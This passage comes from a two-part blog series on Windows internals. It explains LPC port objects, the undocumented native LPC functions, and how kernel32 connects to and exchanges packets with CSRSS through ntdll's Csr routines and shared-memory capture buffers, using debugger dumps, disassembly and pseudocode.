user-mode (via ntdll.dll) and kernel-mode (via ntoskrnl.exe). Even though we are mostly concerned by the first scenario (where numerous ring-3 processes communicate with csrss.exe), practical examples of the remaining two also exist – let it be the Kernel Mode Security Support Provider Interface (KSecDD.sys) communicating with LSASS.exe, for instance. Apart from being used by certain system processes talking to each other (e.g. Lsass verifying user credentials on behalaf of Winlogon), LPC is also a part of the RPC (Remote Procedure Call) implementation. What should be also noted is that the LPC mechanism is directed towards synchronous communication, and therefore enforces a blocking scheme, where the client must wait until its request is dispatched and handled, instead of continuing its execution. As mentioned in the Introduction section, Windows Vista has brought some major changes in this matter – one of these changes was the implementation of a brand new mechanism called ALPC (standing for Advanced or Asynchronous LPC – which one?), deprecating the old LPC mechanism. Since then, all the client – server requests are performed in an asynchronous manner, so that the client is not forced to wait for the response, for ages. Underlying port objects As it turns out, a great part of the Windows system functionalities internally rely on special, dedicated objects (implemented by the Object Manager) – let it be File System operations, Windows Registry management, thread suspension or whatever you can think of – the LPC mechanism isn’t any different. In this particular case, we have to deal with a port object, otherwise known as LpcPortObjectType. The OBJECT_TYPE structure, describing the object in consideration, is defined as follows: kd> dt _OBJECT_TYPE 81feca90 /r ntdll!_OBJECT_TYPE +0x000 Mutex : _ERESOURCE +0x038 TypeList : _LIST_ENTRY [ 0x81fecac8 - 0x81fecac8 ] +0x040 Name : _UNICODE_STRING "Port" +0x000 Length : 8 +0x002 MaximumLength : 0xa +0x004 Buffer : 0xe1007110 "Port" +0x048 DefaultObject : 0x80560960 Void +0x04c Index : 0x15 +0x050 TotalNumberOfObjects : 0xdb +0x054 TotalNumberOfHandles : 0xd9 +0x058 HighWaterNumberOfObjects : 0xdb +0x05c HighWaterNumberOfHandles : 0xd9 +0x060 TypeInfo : _OBJECT_TYPE_INITIALIZER +0x000 Length : 0x4c +0x002 UseDefaultObject : 0x1 '' +0x003 CaseInsensitive : 0 '' +0x004 InvalidAttributes : 0x7b2 +0x008 GenericMapping : _GENERIC_MAPPING +0x018 ValidAccessMask : 0x1f0001 +0x01c SecurityRequired : 0 '' +0x01d MaintainHandleCount : 0 '' +0x01e MaintainTypeList : 0 '' +0x020 PoolType : 1 ( PagedPool ) +0x024 DefaultPagedPoolCharge : 0xc4 +0x028 DefaultNonPagedPoolCharge : 0x18 +0x02c DumpProcedure : (null) +0x030 OpenProcedure : (null) +0x034 CloseProcedure : 0x805904f3 void nt!ObReferenceObjectByName+0 +0x038 DeleteProcedure : 0x805902e1 void nt!ObReferenceObjectByName+0 +0x03c ParseProcedure : (null) +0x040 SecurityProcedure : 0x8056b84f long nt!CcUnpinDataForThread+0 +0x044 QueryNameProcedure : (null) +0x048 OkayToCloseProcedure : (null) +0x0ac Key : 0x74726f50 +0x0b0 ObjectLocks : [4] _ERESOURCE This object can be considered a specific gateway between two modules – it is being used by both sides of the communication channel, while not seeing each other directly at the same time. More precisely, the subject of our considerations are named ports, only; this is caused by the fact that the object must be easily accessible for every possible process. After the server correctly initializes a named port object – later utilized by the clients – it waits for an incoming connection. When a client eventually decides to connect, the server can verify whether further communication should or shouldn’t be allowed (usually based on the client’s CLIENT_ID structure). If the request is accepted, the connection is considered established – the client is able to send input messages and optionally wait for a response (depending on the packet type). Every single packet exchanged between the client and server (including the initial connection requests) begins with a PORT_MESSAGE structure, of the following definition: // // LPC Port Message // typedef struct _PORT_MESSAGE { union { struct { CSHORT DataLength; CSHORT TotalLength; } s1; ULONG Length; } u1; union { struct { CSHORT Type; CSHORT DataInfoOffset; } s2; ULONG ZeroInit; } u2; union { LPC_CLIENT_ID ClientId; double DoNotUseThisField; }; ULONG MessageId; union { LPC_SIZE_T ClientViewSize; ULONG CallbackId; }; } PORT_MESSAGE, *PPORT_MESSAGE; The above header consist of the most essential information concerning the message, such as: DataLength Determines the size of the buffer, following the header structure (in bytes) TotalLength Determines the entire size of the packet, must be equal sizeof(PORT_MESSAGE) + DataLength Type Specifies the packet type, can be one of the following: // // LPC Message Types // typedef enum _LPC_TYPE { LPC_NEW_MESSAGE, LPC_REQUEST, LPC_REPLY, LPC_DATAGRAM, LPC_LOST_REPLY, LPC_PORT_CLOSED, LPC_CLIENT_DIED, LPC_EXCEPTION, LPC_DEBUG_EVENT, LPC_ERROR_EVENT, LPC_CONNECTION_REQUEST, LPC_CONNECTION_REFUSED, LPC_MAXIMUM } LPC_TYPE; ClientId Identifies the packet sender by Process ID and Thread ID MessageId A unique value, identifying a specific LPC message Due to the fact that LPCs can be used to send both small and large amounts of data – two, distinct mechanisms of passing memory between the client and server were developed. In case 304 or less bytes are requested to be sent, a special LPC buffer is used and sent together with the header (described by Length and DataLength), while greater messages are passed using shared memory sections, mapped in both parties taking part in the data exchange. LPC Api Due to the fact that LPC is an internal, undocumented mechanism (mostly employed by the system executables), one cannot make use of it based on the win32 API alone. However, a set of LPC-management native routines is exported by the ntdll module; using these functions, one is able to build his own LPC-based protocol and use it on his own favor (e.g. as a fast and convenient IPC technique). A complete list of the Native Calls follows: NtCreatePort NtConnectPort NtListenPort NtAcceptConnectPort NtCompleteConnectPort NtRequestPort NtRequestWaitReplyPort NtReplyPort NtReplyWaitReplyPort NtReplyWaitReceivePort NtImpersonateClientOfPort NtSecureConnectPort The above list is somewhat correspondent to the cross-ref table for _LpcPortObjectType (excluding NtQueryInformationPort, NtRegisterThreadTerminatePort and a couple of other routines).. All of the functions are more or less documented by independent researchers, Tomasz Nowak and Bo Branten – a brief description of each export is available on the net, though most of the symbols speak by themselves anyway. Having the function names, let’s take a look at how the functions can be actually taken advantage of! Server – Setting up a port In order to make the server reachable for client modules, it must create Named Port by calling NtCreatePort (specyfing the object’s name and an optional security descriptor): NTSTATUS NTAPI NtCreatePort (OUT PHANDLE PortHandle, IN POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG MaxConnectInfoLength, IN ULONG MaxDataLength, IN OUT PULONG Reserved OPTIONAL ); When the LPC port is successfully created, it becomes visible to other, external modules – potential clients. Server – Port Listening In order to accept an inbound connection, the server starts listening on the newly created port, awaiting for the clients. This is achieved using a NtListenPort routine of the following definition: NTSTATUS NTAPI NtListenPort (IN HANDLE PortHandle, OUT PLPC_MESSAGE ConnectionRequest); Being dedicated to the synchronous approach, the function blocks the thread and waits until someone tries to make use of the port. And so, while the server is waiting, some client eventually tries to connect… Client – Connecting to a Port Knowing that the port has already been created and is currently waiting (residing inside NtListenPort), our client process is able to connect, specifying the port name used during the creation proces. The following function will take care of the rest: NTSTATUS NTAPI NtConnectPort (OUT PHANDLE ClientPortHandle, IN PUNICODE_STRING ServerPortName, IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, IN OUT PLPC_SECTION_OWNER_MEMORY ClientSharedMemory OPTIONAL, OUT PLPC_SECTION_MEMORY ServerSharedMemory OPTIONAL, OUT PULONG MaximumMessageLength OPTIONAL, IN ConnectionInfo OPTIONAL, IN PULONG ConnectionInfoLength OPTIONAL ); Server – Accepting (or not) the connection When a client tries to connect at one side of the port, the server’s execution track returns from NtListenPort, having the PORT_MESSAGE header filled with information. In particular, the server can access a CLIENT_ID structure, identifying the source process/thread. Based on that data, the server can make the final decision whether to allow or refuse the connection. Whatever option is chosen, the server calls a NtAcceptConnectPort function: NTSTATUS NTAPI NtAcceptConnectPort (OUT PHANDLE ServerPortHandle, IN HANDLE AlternativeReceivePortHandle OPTIONAL, IN PLPC_MESSAGE ConnectionReply, IN BOOLEAN AcceptConnection, IN OUT PLPC_SECTION_OWNER_MEMORY ServerSharedMemory OPTIONAL, OUT PLPC_SECTION_MEMORY ClientSharedMemory OPTIONAL ); In case of a rejection, the execution ends here. The client returns from the NtConnectPort call with an adequate error code (most likely STATUS_PORT_CONNECTION_REFUSED), and the server ends up calling NtListenPort again. If, however, the server decides to proceed with the connection, another routine must be called: NTSTATUS NTAPI NtCompleteConnectPort (IN HANDLE PortHandle); After the above function is triggered, our connection is confirmed and read to go! Server – Waiting for a message After opening up a communication channel, the server must begin listening for incoming packets (or client-related events). Because of the specific nature of LPC, the server is unable to send messages by itself – rather than that, it must wait for the client to send a request, and then possibly respond with a piece of data. And so, in order to (as always – synchronously) await a message, the server should call the following function: NTSTATUS NTAPI NtReplyWaitReceivePort (IN HANDLE PortHandle, OUT PHANDLE ReceivePortHandle OPTIONAL, IN PLPC_MESSAGE Reply OPTIONAL, OUT PLPC_MESSAGE IncomingRequest); Client – Sending a message Having the connection established, our client is now able to send regular messages, at the time of its choice. Moreover, the application can choose between one-side packets and interactive requests. By sending the first type of message, the client does not expect the server to reply – most likely, it is a short, informational packet. On the other hand, interactive messages require the server to fill in a return buffer of a given size. These two packet types can be sent using different native calls: NTSTATUS NTAPI NtRequestPort (IN HANDLE PortHandle, IN PLPC_MESSAGE Request); or NTSTATUS NTAPI NtRequestWaitReplyPort (IN HANDLE PortHandle, IN PLPC_MESSAGE Request, OUT PLPC_MESSAGE IncomingReply); Apparently, the difference between these two definitions are pretty much obvious Server – Replying to incoming packets In case the client requests data from the server, the latter is obligated to respond providing some output data. In order to do so, the following function should be used: NTSTATUS NTAPI NtReplyPort (IN HANDLE PortHandle, IN PLPC_MESSAGE Reply); Client – Closing the connection When, eventually, the client either terminates or decides to close the LPC connection, it can clean up the connection by simply dereferencing the port object – the NtClose (or better, documented CloseHandle) native call can be used: NTSTATUS NTAPI NtClose(IN HANDLE ObjectHandle); The entire IPC process has already been presented in a visual form – some very illustrative flow charts can be found here (LPC Communication) and here (LPC Part 1: Architecture). All of the described functions are actually used while maintaining the CSRSS connection – you can check it by yourself! What should be noted though, is that the above summary covers the LPC communication (which can be already used to create an IPC framework), but tells nothing about what data, in particular, is being sent over the named port. Obviously, the Windows Subsystem manages its own, internal communication protocol implemented by both client-side (ntdll.dll) and server-side (csrsrv.dll, winsrv.dll, basesrv.dll) system libraries. In order to make it more convenient for kernel32.dll to make use of the CSR packets, a special subset of routines dedicated to CSRSS-communication exists in ntdll.dll. The list of these functions includes, but is not limited to: CsrClientCallServer CsrClientConnectToServer CsrGetProcessId CsrpConnectToServer Thanks to the above symbols, it is possible for kernel32.dll (and most importantly – us) to send custom messages on behalf of the current process, without a thorough knowledge of the protocol structure. Furthermore, ntdll.dll contains all the necessary, technical information required while talking to CSRSS, such as the port name to connect to. The next post is going to talk over both client- and user- sides of the LPC initialization and usage, as it is practically performed – watch out Conclusion All in all, a great number of internal Windows mechanisms make use of LPC – both low-level ones, such as the Windows debugging facility or parts of exception handling implementation, as well as high-level capabilities, including user credentials verification performed by LSASS. One can list all of the named (A)LPC port object present in the system using the WinObj tool by Windows Sysinternals. It is also highly recommended to create one’s own implementation of a LPC-based inter-process communication protocol – a very learning experience. An exemplary source code can be found in the following package: link. Have fun, leave comments and stay tuned for respective entries ;D References LPC Communication Local Procedure Calls (LPCs) LPC Part 1: Architecture Sysinternals WinObj Windows Privilege Escalation through LPC Ntdebugging on LPC interface Windows CSRSS Write Up: Inter-process Communication (part 2/3) A quick beginning note: My friend d0c_s4vage has created a technical blog and posted his first text just a few days ago. The post entry covers a recent, critical libpng vulnerability discovered by this guy; the interesting thing is that, among others, the latest Firefox and Chrome versions were vulnerable. Feel free to take a minute and read the article here. Additionally, the video and mp3 recordings from the presentation performed by me and Gynvael on the CONFidence 2010 conference, are now publicly available on the official website: link (Case study of recent Windows vulnerabilities). Foreword A majority of the LPC /supposedly an acronym for Local Inter-Process Communication rather than Local Procedure Calls, as stated in WRK/ basics have been described in the first post of Inter-process Communication chapter, together with the corresponding, undocumented native functions related to LPC Ports. As you already have the knowledge required to understand higher abstraction levels, today I would like to shed some light on the internal Csr~ interface provided by NTDLL and extensively utilized by the Win32 API DLLs (kernel32 and user32). Introduction As explained previously, LPC is an (officially) undocumented, packet-based IPC mechanism. It basically relies on two things – a Port Object and internal LPC structures, such as _PORT_HEADER – both unexposed to the Windows API layer. Due to the fact that CSRSS implements his own protocol on top of LPC, it would become highly inconvenient (and impractical) for the win32 libraries to take care of both LPC and CSRSS internals, at the same time. And so, an additional layer between the port-related functions and high-level API was created – let’s call it Native Csr Interface. The medium level of the call chain provides a set of helper functions, specifically designed to hide the internals of the communication channel from high-level API implementation. Therefore, it should be theoretically possible to re-implement the Csr-Interface using a different communication mechanism with similar properties, without any alterations being applied on the API level. This has been partially accomplished by replacing the deprecated LPC with an improved version of the mechanism – Advanced / Asynchronous LPC on modern NT-family systems (Vista, 7). In this post, the precise meaning, functionalities and definitions of the crucial Csr~ routines will be focused on. After reading the article, one should be able to recognize and understand specific CSR API calls found inside numerous, documented functions related to console management, process / thread creation and others. Connection Initialization What has already been mentioned is the fact that every application belonging to the win32-subsystem is connected to the Windows Subsystem process (CSRSS) at its startup, by default. Although it is technically possible to disconnect from the port before the program is properly terminated, such behavior is beyond the scope of this post entry. However, some details regarding a security flaw related to CSRSS-port disconnection in the context of a live process, can be found here and here (discovered by me and Gynvael). From this point on, it will be assumed that when the process is given execution (i.e. Entry Point, imported module’s DllMain or TLS callback is called), the CSRSS connection is already established. And so, the question is – how, and where the connection is set up during the process initialization. This section provides answers for both of these questions. Opening named LPC port During a process creation, numerous parts of the system come into play and perform their part of the job. It all starts with the parent application calling an API function (CreateProcess) – the execution then goes through the kernel, a local win32 subsystem, and finally – ring-3 process self-initialization (performed by the system libraries). A step-by-step explanation of the Windows process creation can be found in the Windows Internals 5 book, Chapter “Processes, Threads and Jobs”. As the CSRSS connection is not technically crucial for the process to exist (and execute), it can be performed later than other parts of the process initialization. And so, the story of establishing a connection with the subsystem begins in the context of a newly-created program – more precisely, inside the kernel32 entry point (kernel32!BaseDllInitialize). At this point, the CSRSS-related part of the routine performs the following call: view sourceprint? 1.BOOL WINAPI _BaseDllInitialize(HINSTANCE, DWORD, LPVID) 2.{ 3.(...) 4. 5.CsrClientConnectToServer(L"\\Windows",BASESRV_INDEX,...); 6. 7.(...) 8.} thus forwarding the execution to the ntdll.dll module, where a majority of the subsystem-related activities are performed. Before we dive into the next routine, two important things should be noted here: The Base Dll (kernel32) has complete control over the Port Object directory and makes the final decision regarding the referenced port’s name prefix. As it turns out, it is also possible for a different Object Directory to be used – let’s take a look at the following pseudo-code listing: view sourceprint? 1.if(SessionId) 2.swprintf(ObjectDirectory,L"%ws\\%ld%ws",L"\\Sessions",SessionId,L"\\Windows"); 3.else 4.wcscpy(ObjectDirectory,L"\\Windows"); The “SessionId” symbols represents a global DWORD variable, initialized inside the BaseDllInitialize function, as well: view sourceprint? 1.mov eax, large fs:18h 2.mov eax, [eax+30h] 3.mov eax, [eax+1D4h] 4.mov _SessionId, eax … translated to the following high-level pseudo-code: view sourceprint? 1.SessionId = NtCurrentTeb()->SessionId; If one takes a look into the PEB structure definition, he will certainly find the variable: view sourceprint? 1.kd> dt _PEB 2.nt!_PEB 3.(...) 4.+0x154 TlsExpansionBitmapBits : [32] Uint4B 5.+0x1d4 SessionId : Uint4B 6.+0x1d8 AppCompatFlags : _ULARGE_INTEGER 7.(...) If one decides to connect to the win32 subsystem, he must specify a particular ServerDll to connect to (csrsrv, basesrv, winsrv); the identification number is be passed as the second argument of CsrClientConnectToServer. As can be seen, kernel32 specifies the BASESRV_INDEX constant, as it desires to connect to a certain module – being basesrv in this case. Basesrv.dll is the kernel32 equivalent on the subsystem side – a Csr connection between these two modules is required for some of the basic win32 API calls to work properly. On the other hand, all of the console-management functionality is implemented by winsrv (to be exact – the consrv part of the module). And so – in order to take advantage of functions, such as AllocConsole, FreeConsole, SetConsoleTitle or WriteConsole – a valid connection with winsrv is also required. Fortunately – kernel32 remembers about it and issues a call to another internal function – ConDllInitialize() – after the LPC Port connection is successfully established. The routine’s obvious purpose is to set up the console-related structures inside the Base dll image, and use the CsrClientConnectToServer function with the second argument set to CONSRV_INDEX. When we make a step into CsrClientConnectToServer and analyze further, a great amount of CSRSS-related initialization code surrounds us. Don’t worry – a huge part of the routine deals with user-mode structures and other irrevelant stuff – our interest begins, where the following call is made: view sourceprint? 1.if(!CsrPortHandle) 2.{ 3.ReturnCode = CsrpConnectToServer(ObjectDirectory); // ObjectDirectory is kernel32-controlled 4.if(!NT_SUCCESS(ReturnCode)) 5.return (ReturnCode); 6.} As the above indicates, the global CsrPortHandle variable is compared with zero – if this turns out to be true, CsrpConnectToServer is called, taking the object directory string as its only argument. So – let’s face another routine ;> The proc starts with the following code: view sourceprint? 1.CsrPortName.Length = 0; 2.CsrPortName.MaxLength = 2*wcslen(ObjectDirectory)+18; 3.CsrPortName.Buffer = RtlAllocateHeap(CsrHeap,NtdllBaseTag,CrsPortName.MaxLength); 4. 5.RtlAppendUnicodeToString(&CsrPortName,ObjectDirectory); 6.RtlAppendUnicodeToString(&CsrPortName,L"\\"); 7.RtlAppendUnicodeToString(&CsrPortName,L"ApiPort"); Apparently, the final Port Object name is formed here, and stored inside a local “UNICODE_STRING CsrPortName” structure. Next then, a special section is created, using an adequate native call: view sourceprint? 1.LARGE_INTEGER SectionSize = 0x10000; 2.NtStatus = NtCreateSection(&SectionHandle, SECTION_ALL_ACCESS, NULL, &SectionSize, PAGE_READWRITE, SEC_RESERVE, NULL); 3. 4.if(!NT_SUCCESS(NtStatus)) 5.return NtStatus; This section is essential to the process<->subsystem communication, as this memory area is mapped in both the client and win32 server, and then used for exchanging large portions of data between these two parties. And so, when the section is successfully created, the routine eventually tries to connect to the named port! view sourceprint? 1./* SID Initialization */ 2.NtStatus = RtlAllocateAndInitializeSid(...,&SystemSid); 3.if(!NT_SUCCESS(NtStatus)) 4.return NtStatus; 5. 6.NtStatus = NtSecureConnectPort(&CsrPortHandle,&CsrPortName,...); 7.RtlFreeSid(SystemSid); 8.NtClose(&SectionHandle); For the sake of simplicity and reading convenience, I’ve stripped the remaining arguments from the listing; they describe some advanced connection characteristics, and are beyond the scope of this post. When everything is fine up to this point, we have an established connection (yay, CSRSS accepted our request) and an open handle to the port. Therefore, we can start sending first packets, in order to let CSRSS (and its modules – ServerDlls) know about ourselves. So – after returning back to ntdll!CsrClientConnectToServer: view sourceprint? 1.NtStatus = CsrpConnectToServer(ObjectName); 2.if(!NT_SUCCESS(NtStatus)) 3.return NtStatus; the following steps are taken: view sourceprint? 1.if(ConnectionInformation) 2.{ 3.CaptureBuffer = CsrAllocateCaptureBuffer(1,InformationLength); 4.CsrAllocateMessagePointer(CaptureBuffer,InformationLength,&conn.ConnectionInformation); 5.RtlMoveMemory(conn.ConnectionInformation,ConnectionInformation,InformationLength); 6.} 7.CsrClientCallServer(&Message, CaptureBuffer, CSR_API(CsrpClientConnect), sizeof(ConnStructure)); First of all, the ConnectionInformation pointer is checked – in case it’s non-zero, the CsrAllocateCaptureBuffer, CsrAllocateMessagePointer and RtlMoveMemory functions are called, respectively. The purpose of these operations is to move the data into a shared heap in such a way, that both our application and CSRSS can easily read its contents. After the “if” statement, a first, real message is sent to the subsystem using CsrClientCallServer, of the following prototype: view sourceprint? 1.NTSTATUS CsrClientCallServer(PCSR_API_MSG m, PCSR_CAPTURE_HEADER CaptureHeader, CSR_API_NUMBER ApiNumber, ULONG ArgLength); For a complete, cross-version compatible table and/or list of Csr APIs, check the following references: CsrApi List and CsrApi Table. And so, in the above snippet, the “CsrpClientConnect” API is used, providing additional information about the connecting process. This message is handled by an internal csrsrv.CsrSrvClientConnect routine, which redirects the message to an adequate callback function, specified by the ServerDll being connected to (in this case – basesrv!BaseClientConnectRoutine). After sending the above message, the connection between the client- and server-side DLLs (i.e. kernel32 and basesrv) can be considered fully functional. As it turns out, parts of the execution path presented above can be also true for CSRSS itself! Because of the fact that ntdll!CsrClientConnectToServer can be reached from inside the subsytem process, the CsrClientConnectToServer routine must handle such case properly. And so – before any actions are actually taken by the function, the current process instance is checked, first: view sourceprint? 01.NtHeaders = RtlImageHeader(NtCurrentPeb()->ImageBaseAddress); 02.CsrServerProcess = (NtHeaders->OptionalHeader.Subsystem == IMAGE_SUBSYSTEM_NATIVE); 03. 04.if(CsrServerProcess) 05.{ 06.// Take normal steps 07.} 08.else 09.{ 10.// Do nothing, except for the _CsrServerApiRoutine pointer initialization 11._CsrServerApiRoutine = GetProcAddress(GetModuleHandle("csrsrv"),"CsrCallServerFromServer"); 12.} Apparently, every process connecting to the LPC Port that has the SUBSYSTEM_NATIVE header value set, is assumed to be an instance of CSRSS. This, in turn, implies that CSRSS is the only native, system-critical process which makes use of the Csr API calls. Data tranmission Having the connection up and running, a natural order of things is to exchange actual data. In order to achieve this, one native call is exported by ntdll – the CsrClientCallServer function, already mentioned in the text. Because of the fact that each Csr API requires a different amount of input/output data (while some don’t need these, at all) from the requestor, as well as due to the LPC packet-length limitations, the messages can be sent in a few, different ways. In general, all of the CSR-supported packets can be divided into three, main groups: empty, short, and long packets. Based on the group a given packet belongs to, it is sent using an adequate mechanism. This section provides a general overview of the data transmission-related techniques, as well as exemplary (practical) use of each type. Empty packets Description “Empty packets” is a relatively small group of purely-informational messages, which are intended to make CSRSS perform a specific action. These packets don’t supply any input data – their API ID is the only information needed by the win32 subsystem. A truely-empty packets don’t generate any output data, either. Sending Due to the fact that “empty packets” don’t supply any additional information, the only data being transferred is the internal _PORT_HEADER structure. The address of a correctly initialized PortHeader should be then passed as the first CsrClientCallServer parameter. The shared section doesn’t take part while sending and handling these packets. What is more, no serious input validation is required by the API handler, because there is no input in the first place. The routine is most often supposed to perform one, certain action and then return. Unsupported APIs, statically returning the STATUS_UNSUCCESSFUL or STATUS_NOT_SUPPORTED error codes, can also be considered “empty packets”, as they always behave the same way, regardless of the input information. Examples One, great example of an empty-packet is winsrv!SrvCancelShutdown. As the name implies, the APIs purpose is pretty straight-forward – cancelling the shutdown. Seemingly, no input / output arguments are necessary: view sourceprint? 01.; __stdcall SrvCancelShutdown(x, x) 02._SrvCancelShutdown@8 proc near 03.call _CancelExitWindows@0 ; CancelExitWindows() 04.neg eax 05.sbb eax, eax 06.and eax, 3FFFFFFFh 07.add eax, 0C0000001h 08.retn 8 09._SrvCancelShutdown@8 endp As shown above, the handler issues a call to the CancelExitWindows() function, and doesn’t make use of any of the two parameters. Another CsrApi function of this kind is basesrv!BaseSrvNlsUpdateCacheCount, always performing the same task: view sourceprint? 01.; __stdcall BaseSrvNlsUpdateCacheCount(x, x) 02._BaseSrvNlsUpdateCacheCount@8 proc near 03.cmp _pNlsRegUserInfo, 0 04.jz short loc_75B28AFC 05.push esi 06.mov esi, offset _NlsCacheCriticalSection 07.push esi 08.call ds:__imp__RtlEnterCriticalSection@4 ; RtlEnterCriticalSection(x) 09.mov eax, _pNlsRegUserInfo 10.inc dword ptr [eax+186Ch] 11.push esi 12.call ds:__imp__RtlLeaveCriticalSection@4 ; RtlLeaveCriticalSection(x) 13.pop esi 14.loc_75B28AFC: 15.xor eax, eax 16.retn 8 17._BaseSrvNlsUpdateCacheCount@8 endp A few more examples can be found – looking for these is left as an exercise for the reader. Short packets Description The “short packets” group describes a great part of the Csr messages. Every request, passing actual data to / from CSRSS but fitting in the LPC-packet length restriction belongs to this family. And so – most fixed-size (i.e. these, that don’t contain volatile text strings or other, possibly long chunks of data) structures are indeed smaller than the 304-byte limitation. Sending As this particular type requires additional data to be appended at the end of the _PORT_MESSAGE structure, a set of API-specific structs has been created. All of these types begin with the standard LPC PortMessage header, and then specify the actual variables to send, e.g.: view sourceprint? 1.struct CSR_MY_STRUCTURE 2.{ 3.struct _PORT_HEADER PortHeader; 4.BOOL Boolean; 5.ULONG Data[0x10]; 6.DWORD Flags; 7.}; Such amount of data can be still sent in a single LPC packets. And so, a custom structure, beginning with the _PORT_HEADER field must be used as a first CsrClientCallServer argument. The Capture Buffer technique remains unused, thus the second parameter should be set to NULL. Examples As for the examples, it is really easy to list a couple: winsrv!SrvGetConsoleAliasExesLength winsrv!SrvSetConsoleCursorMode winsrv!SrvGetConsoleCharType basesrv!BaseSrvExitProcess basesrv!BaseSrvBatNotification The above handlers take a constant number of bytes as the input, and optionally return some data (of static length, as well). Long packets Description From the researcher’s point of view, the “long packets” group is doubtlessly the most interesting one. Due to the fact that they are used to send/receive large amounts of data (beyond the maximum size of a LPC message), a special mechanism called a Shared Section is used for transferring these messages. Let’s take a look at the details. Initialization Do you remember the ntdll!CsrpConnecToServer function? At some point, between forming the port name and establishing the connection, we could see a weird NtCreateSection(0×10000) call. As it turns out, this section is a special memory area, mapped in both the client and server processes. After creating the section, its handle is passed to CSRSS through the NtSecureConnectPort native call. Once the win32 subsystem receives a connection request and accepts it, the section is mapped into the server’s virtual address space. Next then, CSRSS provides its client with some basic memory mapping information – such as the server-side base address and view size. Based on the supplied info, a few global variables are initialized (CsrProcessId, CsrObjectDirectory), with CsrPortMemoryRemoteDelta being the most important one for us: view sourceprint? 1.CsrPortMemoryRemoteDelta = (CSRSS.BaseAddress - LOCAL.BaseAddress); Basically, the above variable is filled with the distance between the server- and user- mappings of the shared memory. This information is going to appear to be crucial to exchange information, soon. Furthermore, a commonly known structure called “heap” is created on top of the allocation: view sourceprint? 1.CsrPortHeap = RtlCreateHeap(0x8000u, LOCAL.BaseAddress, LOCAL.ViewSize, PageSize, 0, 0); From this point on, the shared heap is going to be used thorough the whole communication session, for passing data of various size and content. The functions taking advantage of the heap are: CsrAllocateCaptureBuffer CsrFreeCaptureBuffer CsrAllocateMessagePointer (indirect) CsrCaptureMessageBuffer (indirect) CsrCaptureMessageString (indirect) [*]All of the above routines are apparently related to the “Capture Buffer” mechanism, described in the following section. Capture Buffers In order to fully understand the idea behind Capture Buffers, one should see it as a special box, a container designed to hold data in such a way, that it can be easily accessed by both sides of the communication (i.e. be offset-based rather than VA-based etc). Such structure is determined by the following characteristics: Number of memory blocks: one Capture Buffer is able to hold mulitple data blocks – e.g. a couple of strings, describing a specific object (like a console window). Total size: the total size of the container, including its header, pointer table, and the data blocks themselves. So – these “data boxes” are used to transfer data between the two parties. In order to illustrate this complex the mechanism, suppose we’ve got the following structure: view sourceprint? 01.struct CSR_MESSAGE 02.{ 03._PORT_HEADER PortHeader; 04.LPVOID FirstPointer; 05.LPVOID SecondPointer; 06.LPVOID ThirdPointer; 07.LPVOID ForthPointer; 08.LPVOID FifthPointer; 09.} m; The above packet is going to be sent to CSRSS after the initialization takes place. Having the above declared, we can take a closer look at each of the CA-related functions: CsrAllocateCaptureBuffer(ULONG PointerCount, ULONG Size) Allocates an adequate number of bytes from CsrHeap: (Size + sizeof(CAPTURE_HEADER) + PointerCount*sizeof(LPVOID)) … and returns the resulting pointer to the user. Right after the allocation, the CaptureBuffer structure contents look like this: CaptureBuffer = AllocateCaptureBuffer(5,20); Due to the fact that no messages have been allocated from the CaptureBuffer yet, Capture.Memory is a single memory block, while the Capture.Pointers[] array remains empty. CsrFreeCaptureBuffer(LPVOID CaptureBuffer) Frees a given CaptureBuffer memory area, by issuing a simple call: view sourceprint? 1.RtlFreeHeap(CsrHeap,0,CaptureBuffer); CsrAllocateMessagePointer(LPVOID CaptureBuffer, ULONG Length, PVOID* Pointer) The routine allocates “Length” bytes from the CaptureBuffer’s general memory block. The address of the newly allocated block is stored inside *Pointer, while Pointer is put into one of the Capture.Pointers[] items. Example: view sourceprint? 1.CsrAllocateMessagePointer(CaptureBuffer,3,&m.FirstPointer); Having three (out of twenty) bytes allocated, one can copy some data: view sourceprint? 1.RtlCopyMemory(m.FirstPointer,"\xcc\xcc\xcc",3); After all of the five allocations are made, the CaptureBuffer structure layout can look like this: It is important to keep in mind that the pointers into CaptureBuffer.Memory[] must reside in the actual LPC message being sent to the server – the reason of this requirement will be disclosed, soon CsrCaptureMessageBuffer(LPVOID CaptureBuffer, PVOID Buffer, ULONG Length, PVOID *OutputBuffer) The routine is intended to simplify things for the developer, by performing the CaptureBuffer-allocation and copying the user specified data at the same time. Pseudocode: view sourceprint? 1.CsrAllocateMessagePointer(CaptureBuffer,Length,OutputBuffer); 2.RtlCopyMemory(*OutputBuffer,Buffer,Length); CsrCaptureMessageString(LPVOID CaptureBuffer, PCSTR String, ULONG Length, ULONG MaximumLength, PSTRING OutputString) Similar to the previous routine – allocates the requested memory space, and optionally copies a specific string into the new allocation. [*]After the Capture Buffer is allocated and initialized (all N memory blocks are in use), it’s time to send the message, already! This time, we fill in the second parameter of the CsrClientCallServer routine with our CaptureBuffer pointer. When the following call is issued: view sourceprint? 1.CsrClientCallServer(&m,CaptureBuffer,API_NUMBER,sizeof(m)-sizeof(_PORT_HEADER)); … and the 2nd argument is non-zero, a couple of interesting conversions are taking place in the above routine. This is the time when the CsrPortMemoryRemoteDelta value comes into play. First of all, the data-pointers residing in the CSR_MESSAGE structure (&m) are translated to a server-compatible virtual address, by adding the RemoteDelta. From now on, the m.FirstPointer, m.SecondPointer, …, m.FifthPointer are invalid in the context of the local process, but are correct in terms of server-side memory mapping. view sourceprint? 1.for( UINT i=0;i<PointerCount;i++ ) 2.*CaptureBuffer.Pointers += CsrPortMemoryRemoteDelta; Furthermore, the CaptureBuffer.Pointers[] array is altered, using the following pseudo-code: view sourceprint? 1.for( UINT i=0;i<PointerCount;i++ ) 2.CaptureBuffer.Pointers -= &m; So, to sum everything up – after the address/offset translation is performed, we’ve got the following connection between the LPC message and shared buffer: m.CaptureBuffer points to the server’s virtual address of the CaptureBuffer base, CaptureBuffer->Pointers[] contain the relative offsets of the data pointers, i.e. (&m+CaptureBuffer->Pointers[0]) is the pointer to the first capture buffer, (&m+CaptureBuffer->Pointers[n]) points to the server’s virtual address of the n-th capture buffer. [*]Or, the same connection chain illustrated graphically looks like this: [*]When both the local CSR_MESSAGE and shared CaptureBuffer structures are properly modified, ntdll!CsrClientCallServer calls the standard NtRequestWaitReplyPort LPC function, and waits for an optional output. When the native calls returns, all of the modified struct fields are restored to their original values, so that the user (or, more likely – win32 APIs) can easily read the error code and optional subsytem’s output. Due to the fact that the VA- and offset-related conversions are non-trivial to be explained in words, I strongly advice you to check the information presented in this post by 